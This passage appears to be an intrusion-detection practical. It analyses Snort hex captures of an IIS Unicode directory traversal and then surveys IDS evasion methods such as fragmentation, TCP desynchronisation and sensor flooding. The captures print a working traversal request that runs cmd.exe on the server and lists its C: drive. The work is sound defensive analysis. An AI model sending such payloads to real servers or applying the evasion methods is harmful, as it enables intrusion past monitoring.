77 6F 72 64 2C 20 2A 2F 2A 0D 0A 41 63 63 65 70  word, */*..Accep
74 2D 4C 61 6E 67 75 61 67 65 3A 20 65 6E 2D 61  t-Language: en-a
75 0D 0A 41 63 63 65 70 74 2D 45 6E 63 6F 64 69  u..Accept-Encodi
6E 67 3A 20 67 7A 69 70 2C 20 64 65 66 6C 61 74  ng: gzip, deflat
65 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 4D  e..User-Agent: M
6F 7A 69 6C 6C 61 2F 34 2E 30 20 28 63 6F 6D 70  ozilla/4.0 (comp
61 74 69 62 6C 65 3B 20 4D 53 49 45 20 35 2E 30  atible; MSIE 5.0
31 3B 20 57 69 6E 64 6F 77 73 20 4E 54 20 35 2E  1; Windows NT 5.
30 29 0D 0A 48 6F 73 74 3A 20 31 34 38 2E 31 38  0)..Host: XXX.XXX
32 2E 33 35 2E 31 33 39 0D 0A 43 6F 6E 6E 65 63  .35.139..Connec
74 69 6F 6E 3A 20 4B 65 65 70 2D 41 6C 69 76 65  tion: Keep-Alive
0D 0A 43 6F 6F 6B 69 65 3A 20 41 53 50 53 45 53  ..Cookie: ASPSES
53 49 4F 4E 49 44 47 47 51 47 47 47 50 51 3D 49  SIONIDGGQGGGPQ=I
49 48 4C 47 42 4E 41 4A 4E 42 4B 4D 50 4C 46 4B  IHLGBNAJNBKMPLFK
4B 4F 4B 44 43 4C 4E 0D 0A 0D 0A                 KOKDCLN....

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

04/03-19:55:54.494301 XXX.XXX.35.139:80 -> XXX.XXX.35.132:1424
TCP TTL:128 TOS:0x0 ID:2354 IpLen:20 DgmLen:821 DF
***AP*** Seq: 0x2B957  Ack: 0x4640F917  Win: 0x206D  TcpLen: 20
48 54 54 50 2F 31 2E 31 20 34 30 33 20 41 63 63  HTTP/1.1 403 Acc
65 73 73 20 46 6F 72 62 69 64 64 65 6E 0D 0A 53  ess Forbidden..S
65 72 76 65 72 3A 20 4D 69 63 72 6F 73 6F 66 74  erver: Microsoft
```

```
2D 49 49 53 2F 34 2E 30 0D 0A 44 61 74 65 3A 20  -IIS/4.0..Date:
54 75 65 2C 20 30 33 20 41 70 72 20 32 30 30 31  Tue, 03 Apr 2001
20 31 30 3A 33 35 3A 33 32 20 47 4D 54 0D 0A 43   10:35:32 GMT..C
6F 6E 6E 65 63 74 69 6F 6E 3A 20 63 6C 6F 73 65  onnection: close
0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68  ..Content-Length
3A 20 36 31 39 0D 0A 43 6F 6E 74 65 6E 74 2D 54  : 619..Content-T
79 70 65 3A 20 74 65 78 74 2F 68 74 6D 6C 0D 0A  ype: text/html..
0D 0A 3C 68 74 6D 6C 3E 3C 68 65 61 64 3E 3C 74  ..<html><head><t
69 74 6C 65 3E 45 72 72 6F 72 20 34 30 33 2E 32  itle>Error 403.2
3C 2F 74 69 74 6C 65 3E 0D 0A 0D 0A 3C 6D 65 74  </title>....<met
61 20 6E 61 6D 65 3D 22 72 6F 62 6F 74 73 22 20  a name="robots"
63 6F 6E 74 65 6E 74 3D 22 6E 6F 69 6E 64 65 78  content="noindex
22 3E 0D 0A 3C 4D 45 54 41 20 48 54 54 50 2D 45  ">..<META HTTP-E
51 55 49 56 3D 22 43 6F 6E 74 65 6E 74 2D 54 79  QUIV="Content-Ty
70 65 22 20 43 4F 4E 54 45 4E 54 3D 22 74 65 78  pe" CONTENT="tex
74 2F 68 74 6D 6C 3B 20 63 68 61 72 73 65 74 3D  t/html; charset=
69 73 6F 2D 38 38 35 39 2D 31 22 3E 3C 2F 68 65  iso-8859-1"></he
61 64 3E 0D 0A 0D 0A 3C 62 6F 64 79 3E 0D 0A 0D  ad>....<body>...
0A 3C 68 32 3E 48 54 54 50 20 45 72 72 6F 72 20  .<h2>HTTP Error
34 30 33 3C 2F 68 32 3E 0D 0A 0D 0A 3C 70 3E 3C  403</h2>....<p><
73 74 72 6F 6E 67 3E 34 30 33 2E 32 20 46 6F 72  strong>403.2 For
62 69 64 64 65 6E 3A 20 52 65 61 64 20 41 63 63  bidden: Read Acc
65 73 73 20 46 6F 72 62 69 64 64 65 6E 3C 2F 73  ess Forbidden</s
74 72 6F 6E 67 3E 3C 2F 70 3E 0D 0A 0D 0A 3C 70  trong></p>....<p
3E 54 68 69 73 20 65 72 72 6F 72 20 63 61 6E 20  >This error can
62 65 20 63 61 75 73 65 64 20 69 66 20 74 68 65  be caused if the
72 65 20 69 73 20 6E 6F 20 64 65 66 61 75 6C 74  re is no default
20 70 61 67 65 20 61 76 61 69 6C 61 62 6C 65 20   page available
61 6E 64 20 64 69 72 65 63 74 6F 72 79 20 62 72  and directory br
6F 77 73 69 6E 67 20 68 61 73 20 6E 6F 74 20 62  owsing has not b
65 65 6E 20 65 6E 61 62 6C 65 64 20 66 6F 72 20  een enabled for
74 68 65 20 64 69 72 65 63 74 6F 72 79 2C 20 6F  the directory, o
72 20 69 66 20 79 6F 75 20 61 72 65 20 74 72 79  r if you are try
69 6E 67 20 74 6F 20 64 69 73 70 6C 61 79 20 61  ing to display a
6E 20 48 54 4D 4C 20 70 61 67 65 20 74 68 61 74  n HTML page that
20 72 65 73 69 64 65 73 20 69 6E 20 61 20 64 69   resides in a di
72 65 63 74 6F 72 79 20 6D 61 72 6B 65 64 20 66  rectory marked f
6F 72 20 45 78 65 63 75 74 65 20 6F 72 20 53 63  or Execute or Sc
72 69 70 74 20 70 65 72 6D 69 73 73 69 6F 6E 73  ript permissions
20 6F 6E 6C 79 2E 3C 2F 70 3E 0D 0A 0D 0A 3C 70   only.</p>....<p
3E 50 6C 65 61 73 65 20 63 6F 6E 74 61 63 74 20  >Please contact
74 68 65 20 57 65 62 20 73 65 72 76 65 72 27 73  the Web server's
20 61 64 6D 69 6E 69 73 74 72 61 74 6F 72 20 69   administrator i
66 20 74 68 65 20 70 72 6F 62 6C 65 6D 20 70 65  f the problem pe
72 73 69 73 74 73 2E 3C 2F 70 3E 0D 0A 0D 0A 3C  rsists.</p>....<
2F 62 6F 64 79 3E 3C 2F 68 74 6D 6C 3E           /body></html>

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

04/03-19:55:54.494351 XXX.XXX.35.139:80 -> XXX.XXX.35.132:1424
TCP TTL:128 TOS:0x0 ID:2610 IpLen:20 DgmLen:40 DF
***A***F Seq: 0x2BC64  Ack: 0x4640F917  Win: 0x206D  TcpLen: 20

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

04/03-19:55:54.495160 XXX.XXX.35.132:1424 -> XXX.XXX.35.139:80
TCP TTL:128 TOS:0x0 ID:62394 IpLen:20 DgmLen:40 DF
***A**** Seq: 0x4640F917  Ack: 0x2BC65  Win: 0x4163  TcpLen: 20

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

04/03-19:55:54.495684 XXX.XXX.35.132:1424 -> XXX.XXX.35.139:80
TCP TTL:128 TOS:0x0 ID:62395 IpLen:20 DgmLen:40 DF
***A***F Seq: 0x4640F917  Ack: 0x2BC65  Win: 0x4163  TcpLen: 20

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

04/03-19:55:54.495810 XXX.XXX.35.139:80 -> XXX.XXX.35.132:1424
TCP TTL:128 TOS:0x0 ID:2866 IpLen:20 DgmLen:40 DF
***A**** Seq: 0x2BC65  Ack: 0x4640F918  Win: 0x206D  TcpLen: 20
```

```
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

04/03-19:56:23.492579 XXX.XXX.35.132:1425 -> XXX.XXX.35.139:80
TCP TTL:128 TOS:0x0 ID:62401 IpLen:20 DgmLen:48 DF
******S* Seq: 0x46B08B65  Ack: 0x0  Win: 0x4000  TcpLen: 28
TCP Options (4) => MSS: 1460 NOP NOP SackOK

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

04/03-19:56:23.492744 XXX.XXX.35.139:80 -> XXX.XXX.35.132:1425
TCP TTL:128 TOS:0x0 ID:3122 IpLen:20 DgmLen:44 DF
***A**S* Seq: 0x2B958  Ack: 0x46B08B66  Win: 0x2238  TcpLen: 24
TCP Options (1) => MSS: 1460

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

04/03-19:56:23.492984 XXX.XXX.35.132:1425 -> XXX.XXX.35.139:80
TCP TTL:128 TOS:0x0 ID:62403 IpLen:20 DgmLen:40 DF
***A**** Seq: 0x46B08B66  Ack: 0x2B959  Win: 0x4470  TcpLen: 20

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

04/03-19:56:23.496293 XXX.XXX.35.132:1425 -> XXX.XXX.35.139:80
TCP TTL:128 TOS:0x0 ID:62404 IpLen:20 DgmLen:496 DF
***AP*** Seq: 0x46B08B66  Ack: 0x2B959  Win: 0x4470  TcpLen: 20
47 45 54 20 2F 73 63 72 69 70 74 73 2F 2E 2E 25  GET /scripts/..%
63 30 25 39 76 2E 2E 2F 77 69 6E 6E 74 2F 73 79  c0%9v../winnt/sy
73 74 65 6D 33 32 2F 63 6D 64 2E 65 78 65 3F 2F  stem32/cmd.exe?/
63 2B 64 69 72 2B 63 3A 5C 20 48 54 54 50 2F 31  c+dir+c:\ HTTP/1
2E 31 0D 0A 41 63 63 65 70 74 3A 20 69 6D 61 67  .1..Accept: imag
65 2F 67 69 66 2C 20 69 6D 61 67 65 2F 78 2D 78  e/gif, image/x-x
62 69 74 6D 61 70 2C 20 69 6D 61 67 65 2F 6A 70  bitmap, image/jp
65 67 2C 20 69 6D 61 67 65 2F 70 6A 70 65 67 2C  eg, image/pjpeg,
20 61 70 70 6C 69 63 61 74 69 6F 6E 2F 76 6E 64   application/vnd
2E 6D 73 2D 70 6F 77 65 72 70 6F 69 6E 74 2C 20  .ms-powerpoint,
61 70 70 6C 69 63 61 74 69 6F 6E 2F 76 6E 64 2E  application/vnd.
6D 73 2D 65 78 63 65 6C 2C 20 61 70 70 6C 69 63  ms-excel, applic
61 74 69 6F 6E 2F 78 2D 63 6F 6D 65 74 2C 20 61  ation/x-comet, a
70 70 6C 69 63 61 74 69 6F 6E 2F 6D 73 77 6F 72  pplication/mswor
64 2C 20 2A 2F 2A 0D 0A 41 63 63 65 70 74 2D 4C  d, */*..Accept-L
61 6E 67 75 61 67 65 3A 20 65 6E 2D 61 75 0D 0A  anguage: en-au..
41 63 63 65 70 74 2D 45 6E 63 6F 64 69 6E 67 3A  Accept-Encoding:
20 67 7A 69 70 2C 20 64 65 66 6C 61 74 65 0D 0A   gzip, deflate..
55 73 65 72 2D 41 67 65 6E 74 3A 20 4D 6F 7A 69  User-Agent: Mozi
6C 6C 61 2F 34 2E 30 20 28 63 6F 6D 70 61 74 69  lla/4.0 (compati
62 6C 65 3B 20 4D 53 49 45 20 35 2E 30 31 3B 20  ble; MSIE 5.01;
57 69 6E 64 6F 77 73 20 4E 54 20 35 2E 30 29 0D  Windows NT 5.0).
0A 48 6F 73 74 3A 20 31 34 38 2E 31 38 32 2E 33  .Host: XXX.XXX.3
35 2E 31 33 39 0D 0A 43 6F 6E 6E 65 63 74 69 6F  5.139..Connectio
6E 3A 20 4B 65 65 70 2D 41 6C 69 76 65 0D 0A 43  n: Keep-Alive..C
6F 6F 6B 69 65 3A 20 41 53 50 53 45 53 53 49 4F  ookie: ASPSESSIO
4E 49 44 47 47 51 47 47 47 50 51 3D 49 49 48 4C  NIDGGQGGGPQ=IIHL
47 42 4E 41 4A 4E 42 4B 4D 50 4C 46 4B 4B 4F 4B  GBNAJNBKMPLFKKOK
44 43 4C 4E 0D 0A 0D 0A                          DCLN....

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

04/03-19:56:23.511978 XXX.XXX.35.139:80 -> XXX.XXX.35.132:1425
TCP TTL:128 TOS:0x0 ID:3378 IpLen:20 DgmLen:250 DF
***AP*** Seq: 0x2B959  Ack: 0x46B08D2E  Win: 0x2070  TcpLen: 20
48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F 4B 0D  HTTP/1.1 200 OK.
0A 53 65 72 76 65 72 3A 20 4D 69 63 72 6F 73 6F  .Server: Microso
66 74 2D 49 49 53 2F 34 2E 30 0D 0A 44 61 74 65  ft-IIS/4.0..Date
3A 20 54 75 65 2C 20 30 33 20 41 70 72 20 32 30  : Tue, 03 Apr 20
30 31 20 31 30 3A 33 36 3A 30 31 20 47 4D 54 0D  01 10:36:01 GMT.
0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 63 6C 6F  .Connection: clo
73 65 0D 0A 43 6F 6E 74 65 6E 74 2D 54 79 70 65  se..Content-Type
3A 20 61 70 70 6C 69 63 61 74 69 6F 6E 2F 6F 63  : application/oc
74 65 74 2D 73 74 72 65 61 6D 0D 0A 56 6F 6C 75  tet-stream..Volu
```

```
6D 65 20 69 6E 20 64 72 69 76 65 20 43 20 68 61  me in drive C ha
73 20 6E 6F 20 6C 61 62 65 6C 2E 0D 0A 56 6F 6C  s no label...Vol
75 6D 65 20 53 65 72 69 61 6C 20 4E 75 6D 62 65  ume Serial Numbe
72 20 69 73 20 30 43 38 46 2D 46 34 37 42 0D 0A  r is 0C8F-F47B..
0D 0A                                            ..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

04/03-19:56:23.515042 XXX.XXX.35.139:80 -> XXX.XXX.35.132:1425
TCP TTL:128 TOS:0x0 ID:3634 IpLen:20 DgmLen:661 DF
***AP**F Seq: 0x2BA2B  Ack: 0x46B08D2E  Win: 0x2070  TcpLen: 20
20 44 69 72 65 63 74 6F 72 79 20 6F 66 20 63 3A   Directory of c:
5C 0D 0A 0D 0A 31 30 2F 32 33 2F 30 30 20 20 30  \....10/23/00  0
38 3A 34 34 70 20 20 20 20 20 20 20 20 20 20 20  8:44p
20 20 20 20 20 20 20 20 20 20 30 20 41 55 54 4F           0 AUTO
45 58 45 43 2E 42 41 54 0D 0A 31 30 2F 32 33 2F  EXEC.BAT..10/23/
30 30 20 20 30 38 3A 34 34 70 20 20 20 20 20 20  00  08:44p
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30                0
20 43 4F 4E 46 49 47 2E 53 59 53 0D 0A 30 34 2F   CONFIG.SYS..04/
30 32 2F 30 31 20 20 30 36 3A 33 39 70 20 20 20  02/01  06:39p
20 20 20 20 20 3C 44 49 52 3E 20 20 20 20 20 20       <DIR>
20 20 20 20 69 69 73 20 6C 6F 67 73 0D 0A 30 34      iis logs..04
2F 30 33 2F 30 31 20 20 30 38 3A 30 38 70 20 20  /03/01  08:08p
20 20 20 20 20 20 3C 44 49 52 3E 20 20 20 20 20       <DIR>
20 20 20 20 20 69 6E 63 6F 6D 69 6E 67 0D 0A 31       incoming..1
30 2F 32 33 2F 30 30 20 20 31 31 3A 31 36 61 20  0/23/00  11:16a
20 20 20 20 20 20 3C 44 49 52 3E 20 20 20 20 20       <DIR>
20 20 20 20 20 20 49 6E 65 74 70 75 62 0D 0A 30       Inetpub..0
34 2F 30 32 2F 30 31 20 20 30 37 3A 31 34 70 20  4/02/01  07:14p
20 20 20 20 20 20 20 20 20 20 31 33 34 2C 32 31           134,21
37 2C 37 32 38 20 70 61 67 65 66 69 6C 65 2E 73  7,728 pagefile.s
79 73 0D 0A 30 34 2F 30 33 2F 30 31 20 20 30 38  ys..04/03/01  08
3A 30 37 70 20 20 20 20 20 20 20 20 3C 44 49 52  :07p       <DIR
3E 20 20 20 20 20 20 20 20 20 20 50 72 6F 67 72  >          Progr
61 6D 20 46 69 6C 65 73 0D 0A 30 34 2F 30 33 2F  am Files..04/03/
30 31 20 20 30 38 3A 30 36 70 20 20 20 20 20 20  01  08:06p
20 20 20 20 20 20 20 31 2C 34 35 38 2C 35 34 36         1,458,546
20 53 65 72 76 75 32 35 62 2E 7A 69 70 0D 0A 30   Servu25b.zip..0
34 2F 30 33 2F 30 31 20 20 30 38 3A 32 34 70 20  4/03/01  08:24p
20 20 20 20 20 20 3C 44 49 52 3E 20 20 20 20 20       <DIR>
20 20 20 20 20 20 54 45 4D 50 0D 0A 30 34 2F 30       TEMP..04/0
33 2F 30 31 20 20 30 38 3A 30 37 70 20 20 20 20  3/01  08:07p
20 20 20 20 3C 44 49 52 3E 20 20 20 20 20 20 20      <DIR>
20 20 20 57 49 4E 4E 54 0D 0A 20 20 20 20 20 20     WINNT..
20 20 20 20 20 20 20 31 30 20 46 69 6C 65 28          10 File(
73 29 20 20 20 20 31 33 35 2C 36 37 36 2C 32 37  s)    135,676,27
34 20 62 79 74 65 73 0D 0A 20 20 20 20 20 20 20  4 bytes..
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 33 2C 38 31 33 2C 38 32 32 2C 34 36 34     3,813,822,464
20 62 79 74 65 73 20 66 72 65 65 0D 0A            bytes free..
```

1. **Source of Trace:**

   The source of this trace is my network.

2. **Detect was generated by:**

   This detect was captured using a snort hex dump.

3. **Probability the source address was spoofed:**

   It is unlikely that the source was spoofed as the attacker would most likely want to see the responses to his queries (stimulus).

4. Description of the attack:

The attack is a directory traversal against a Microsoft IIS 4.0 web server.

5. Attack mechanism:

IIS 4.0 and 5.0 allows remote attackers to read documents outside of the web root, and possibly execute arbitrary commands, via malformed URLs that contain UNICODE encoded characters, aka the "Web Server Folder Traversal" vulnerability[4]. This specific vulnerability is also mentioned in Microsoft Security Bulletin MS00-078 and has been assigned the CVE# 2000-0884.

In the above trace we can see the following:

1. The attacker browses to the web server from his Windows 2000 host using Internet Explorer 5.01.
2. He parses an invalid unicode string and attempts to perform a directory listing on the c drive of the web server.
3. The server responds with a "403 Access Forbidden" access forbidden message.
4. He parses a second unicode string attempting to perform the same directory listing.
5. This time the server responds with a "200 OK" message, so we know the attacker has been successful and a directory listing is produced for the attacker.

It is most likely this attack was performed manually using a browser. The trace indicates the attacker was using a Windows 2000 IE 5.01 platform and almost 4 minutes elapsed between the time of first connecting with the site and the final packet of the trace.

6. Correlations:

I have seen scans for this type of vulnerability before against entire networks using automated scripts. However, this time the "scan" appears to have been manually exploited through their web browser.

The specific vulnerability is also mentioned in Microsoft Security Bulletin MS00-078 and has been assigned the CVE# 2000-0884.

7. Evidence of active targeting:

This was an intranet web server within a company that was compromised from an internal host.

[4] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0884

8. Severity:

Item	Rating	Comment
Criticality	2	The Server is an MIS Test server that does not contain any critical information.
Lethality	5	This host was compromised.
System Countermeasures	2	The Web server was running on a hardened NT Server, but the application had not been patched to current recommended levels.
Network Countermeasures	0	The host is not protected by a firewall rule that permits only FTP traffic.
Severity	**5**	Severity = (Criticality + Lethality) – (System + Net Countermeasures)

9. Defensive recommendation:

Defenses need improvement, as this host was compromised.

It is recommended that the latest hot-fixes for IIS are installed. This problem can be rectified specifically by installing the hot-fix found at:

http://www.microsoft.com/ntserver/nts/downloads/critical/q269862/default.asp

10. Multiple choice test question:

Which of the following is most likely shown in the trace above?
a) HTTP Logon Bruteforce attack
b) RDS Exploit in progress
c) Unicode directory traversal attack
d) malformed .htr attack permitting reading of fragments

c

Assignment 2 – Describe the State of Intrusion Detection (30 points)

Intrusion Detection Systems (IDS) are gaining popularity as an integral component within any security infrastructure, and are increasingly being seen as the logical complement to network firewalls. They extend the traditional security management capabilities of system administrators to include security audit, monitoring, and attack recognition and response. There is a danger, however, that IDS will lull security administrators into a false sense of security. Accordingly, administrators should not be complacent once an IDS is installed. As the use of such systems increases, attackers are becoming more sophisticated in the methods and tools they use to evade and disable IDS. This paper will discuss current and historical tools and techniques used to circumvent IDS security, including insertion, evasion and Denial of Service attacks.

Background

Many IDS avoidance techniques rely on the network IDS host having insufficient information on the wire. A network IDS passively captures packets off the wire in order to determine what is happening on the hosts its' watching. However to accurately predict the intent of a packet, it is necessary for the IDS to know the way the packets are processed. This is problematic in most environments as the network IDS is typically on an entirely different machine from the systems its' watching. Discrepancies can result from basic platform architectural differences, eg. Windows NT vs BSD, or may stem from different network driver implementations. Without the IDS knowing the platform of the end system it is trying to protect, it may be difficult for it to know how the packets may be processed. For example, some operating systems may accept packets that are obviously bad, and if the IDS discards these packets that the end system accepts it may reduce the accuracy of the system. Furthermore, even if the IDS knows all end systems on a network and how they respond to certain packets, memory or CPU exhaustion can cause similar problems[5].

Avoidance Techniques:

Sending TCP packets out of order.
Some IDS hosts are incapable of reconstructing data from network transactions when the packets compromising those transactions are sent out-of-order. A regular TCP/IP stack is capable of handling arbitrarily ordered packets, and thus an IDS that cannot handle out-of-order packets can be evaded entirely by an attack that forces their packets to be sent in random order[6].

---

[5] Thomas Ptacek & Timothy Newsham, "Insertion, evasion, and Denial of Service: Eluding Network Intrusion Detection" (January 1998)
http://secinf.net/info/ids/idspaper/idspaper.html

[6] Thomas Ptacek & Timothy Newsham, "Insertion, evasion, and Denial of Service: Eluding Network Intrusion Detection" (January 1998)

Desynchronisation of TCP connections.
IDS use synchronization techniques to monitor established connections. Connections can become desynchronised in a number of ways:

a) By creating a false TCP connection prior to carrying out a real attack, an attacker may be able to convince an IDS that the attack-bearing connection is entirely invalid, thus preventing it from monitoring the data exchanged in the connection. A regular hosts TCP/IP stack will appropriately handle the new connection, but some IDS may not be able to.

b) By repeating individual segments or providing inconsistent data in a TCP connection. Normally, the first correctly-sequenced segment received in a connection will be accepted, and subsequent duplicate segments will be discarded. A regular hosts TCP/IP stack handles retransmitted segments in a robust fashion by considering sequence numbers. However, some IDS fail to do so, and can be forced to accept invalid data and become desynchronised when segments are repeated[7].

Parsing packets with bad sequence numbers.
A regular TCP/IP stack discards TCP segments that do not bear appropriate sequence numbers. A network IDS frequently does not, and can be forced to accept bad network packets which confuse TCP analysis and allow attacks to be slipped past the system[8].

Using sequence number wraparound to evade detection.
TCP sequence numbers are 32-bit integers. The sequence numbers of a given connection start at an effectively random number. TCP/IP sequence number "wraparound" occurs when the TCP sequence number exceeds the maximum number that can be expressed in 32 bits and thus wraps back to zero. Some IDS fail to handle this case, and an attacker can render arbitrary TCP segments invisible to an afflicted IDS by inducing TCP sequence number wraparound, and sending critical information over the connection after the IDS has been confused by the wrapped sequence numbers[9].

Using bad TCP and IP checksums in packets.
IDS may not properly validate TCP and IP checksums carried on all packets. A regular hosts TCP/IP stack ensures that the checksum on each packet is valid before processing it. Many network IDS do not verify the checksum, and can thus be fooled into accepting bad packets. This confuses network traffic analysis and allows attacks to evade detection.

[7] Thomas Ptacek & Timothy Newsham, "Insertion, evasion, and Denial of Service: Eluding Network Intrusion Detection" (January 1998)
[8] Thomas Ptacek & Timothy Newsham, "Insertion, evasion, and Denial of Service: Eluding Network Intrusion Detection" (January 1998)
[9] Thomas Ptacek & Timothy Newsham, "Insertion, evasion, and Denial of Service: Eluding Network Intrusion Detection" (January 1998)

Manipulating the TTL field.
If the IDS is not on the same network segment as the system it is monitoring, it is possible to send packets that only the IDS will see by setting the TTL to expire before the destination host.

Manipulating the DF flag.
The "Do Not Fragment" (DF) flag tells forwarding devices to not split a packet into fragments. If the maximum packet size of the network IDS is on is larger than the system it is monitoring, it is possible to send packets with the DF bit set that will not reach the destination host.

Sending Data in SYN packets.
A regular hosts TCP/IP stack, in accordance with the RFC standard for the TCP protocol, accepts data contained in SYN handshake packets. Many network IDS do not, and data contained in SYN packets is thus invisible to these systems[10].

Fragmented packets can evade detection.
"Fragmentation" is the process by which large IP packets are broken into smaller packets for transmission over network media with packet size limitations. All regular hosts TCP/IP stacks handle fragmentation, which requires the network stack to reassemble complete IP packets from streams of fragmented packets.

Specifically an IDS may be confused by:

a) "replaying" a single fragment in a stream of fragments. A target hosts TCP/IP stacks will discard the duplicated fragment. IDS software may incorrectly reassemble the entire fragment stream.
b) sending a single fragment out-of-order, with the marked "final" fragment sent before the last data fragment. IDS software may incorrectly reassemble the entire fragment stream, especially when the final fragment appears out of order (some systems may mistakenly assume a fragment stream has been completely transmitted as soon as the final fragment appears in the stream).
c) sending multiple fragments of varying sizes which overlap each other. Different operating systems handle this condition in different ways. An intrusion detection system that cannot duplicate exactly the manner in which the target of an attack resolves overlapping fragments can be forced to incorrectly reassemble a fragment stream[11].

Injecting fake TCP packets into a connection.
TCP connections are initiated by means of a handshake protocol, during which both sides of the connection agree to the parameters used by the connection. All TCP/IP stacks communicate over TCP only after establishing a connection with a handshake. Some network IDS ignore the handshake entirely, and assume that any data sent over the

[10] Thomas Ptacek & Timothy Newsham, "Insertion, evasion, and Denial of Service: Eluding Network Intrusion Detection" (January 1998)
[11] Thomas Ptacek & Timothy Newsham, "Insertion, evasion, and Denial of Service: Eluding Network Intrusion Detection" (January 1998)

network in a TCP packet is part of a legitimate connection. A network IDS that fails to wait for a handshake before recording data can be fatally confused by an attacker that injects fake TCP packets onto the network before a real, attack-bearing connection. This is a common flaw in several pattern matching IDS, and tools such as "Stick" have been developed that take advantage of an IDS stateless pattern matching.

Some IDS don't verify the presence of the ACK flag on data packets. Normally, all data exchanged in a TCP connection is sent in a TCP packet with the ACK ("acknowledge") flag set. Many TCP/IP stacks will refuse to accept data in a packet that does not bear an ACK flag. IDS that do not verify the presence of the ACK flag can be confused into accepting data that is not actually being exchanged in an actual connection. They can be evaded entirely by an attacker that injects fake data packets (without the ACK flag set) in the middle of an attack-bearing connection.

A target hosts TCP/IP software rejects SYN packets received after a connection has started. Some IDS may become confused when spurious SYN packets are received. An IDS that fails to reject spurious SYN packet scan be evaded by an attacker that injects SYNs into opened, attack-bearing connections[12].

Re-using ports of connections that have been terminated.
TCP connections are terminated by messages that request connection teardown. A regular hosts TCP/IP stack closes open TCP connections when a correctly-sequenced teardown message is received. Once a connection is closed, a new connection can be created using the same ports. Some IDS fail to tear down connections when a teardown message is received. These systems are incapable of tracking new connections that re-use the port numbers from previously closed connections. An attacker can render a connection invisible to an afflicted IDS by preceding the connection with an innocuous connection using the same port numbers and closing it with a TCP RST connection teardown message.

TCP packets contain a variable amount of data. The sequence numbers on a TCP segment specify what point in the stream the data in that segment should appear at. Two TCP segments can contain conflicting data if the sequence space used by the two segments "overlap". Different TCP/IP stacks handle this rare case in different manners. A network intrusion detection system that cannot duplicate exactly the behavior of the systems it watches can be confused, and forced to see different data on the network than what is actually being exchanged. A network IDS that does not account for TCP overlap can be evaded completely by an attacker who induces TCP overlap to obscure data in an attack-bearing connection[13].

[12] Thomas Ptacek & Timothy Newsham, "Insertion, evasion, and Denial of Service: Eluding Network Intrusion Detection" (January 1998)

Denial of Service against the IDS.
A "denial of service" (DOS) attack is one that is intended to compromise the availability of a computing resource. Unlike firewall implementations network IDS is passive and inherently fail-open. If an attacker can cause an IDS to crash or starve it of resources or disk space they can attack the network undetected. As network traffic levels rise, the associated processing load required to keep up becomes prohibitive and the analysis engine either falls behind or fails. In fact, most vendors have demonstrated that their products can only offer 100 % analysis coverage at speeds up to 65 MB/s[14]. Many switched networks these days offer aggregated throughput of between 100MB/s and 1GB/s for their heaviest traffic segments. In addition, to detect attack signatures IDS must capture, store and analyse large volumes of data to maintain state information required to capture "slow scans". This can make overloading some IDS a trivial exercise[15].

A tool called "Stick" was recently written by Coretez Giovanni to evaluate the stress capability of an IDS. "Stick" is aimed at false alarming signature based IDS. It can cause an IDS to produce over 450 alerts within 2 seconds and causes the CPU of the sensor to hit 100%, effectively causing a Denial of Service (DOS). It reads in a snort rule file and fires packets from random IP addresses at a remote target causing the target networks sensor to generate alerts. This makes it very difficult to differentiate a real attack in progress from the false alarms, which can cause a DOS against personnel reviewing the logs/alerts[16].

Using non-default ports.
Some primitive IDS will only detect trojan code on a compromised host if it uses default ports. However, the TCP port utilised by a protocol is not always a good indicator of what is being transported. For example, if I was to run Back Orifice on UDP 53, to disguise it as DNS queries, instead of its default port of UDP 31337 it may evade detection[17].

Performing slow scans or coordinated scans.
Scanning a network slowly or from coordinated sources may allow an attacker to evade IDS. To capture slow scans an IDS would need to maintain state information and correlate this for the duration of the scan. This can be resource intensive and difficult for an IDS to perform[18].

---

[14] Richard Wiens, Realistic Expectations for Intrusion Detection Systems
http://www.securityfocus.com/focus/ids/articles/expect.html
[15] Steve Schupp, "Limitations of Network Intrusion Detection" (December 2000)
http://www.sans.org/infosecFAQ/intrusion/net_id.htm
[16] Coretez Giovanni, "Fun with Packets"
http://www.eurocompton.net/stick
[17] Steve Schupp, "Limitations of Network Intrusion Detection" (December 2000)
http://www.sans.org/infosecFAQ/intrusion/net_id.htm
[18] Steve Schupp, "Limitations of Network Intrusion Detection" (December 2000)
http://www.sans.org/infosecFAQ/intrusion/net_id.htm

Address spoofing/proxying of attacks or using compromised hosts.
Attackers can increase the difficulty for system administrators to source their attacks by using address spoofing, proxying or using compromised hosts as launching points. This will cause the source to appear to come from an unsuspecting victim rather than their legitimate address[19].

Modifying attack code.
